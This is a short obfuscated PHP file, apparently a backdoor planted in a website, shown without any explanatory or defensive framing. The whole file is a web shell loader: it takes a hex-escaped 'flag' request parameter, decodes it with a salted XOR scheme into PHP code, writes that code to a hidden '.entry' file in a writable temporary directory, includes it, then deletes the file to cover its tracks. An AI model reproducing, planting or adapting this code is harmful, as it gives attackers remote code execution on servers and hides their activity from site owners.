 <!--rLgS6b9a-->
<?php

if(count($_REQUEST) > 0 && isset($_REQUEST["f\x6Ca\x67"])){
$flg = $_REQUEST["f\x6Ca\x67"];
	$flg 	= 	explode		('.' ,	$flg 		)			;	 
$data = '';
$salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($salt1);
$i = 0;

foreach ($flg as $val) {
    $chS = ord($salt1[$i % $lenS]);
    $d = ((int)$val - $chS - ($i % 10)) ^ 65;
    $data .= chr($d);
    $i++;
}
$dat = array_filter(["/dev/shm", "/tmp", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", session_save_path(), getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir")]);
foreach ($dat as $binding):
            if ((function($d) { return is_dir($d) && is_writable($d); })($binding)) {
            $record = "$binding/.entry";
            $token = fopen($record, 'w');
if ($token && fwrite($token, $data)) {
    fclose($token);
    include $record;
    unlink($record);
    die();
}
        }
endforeach;
}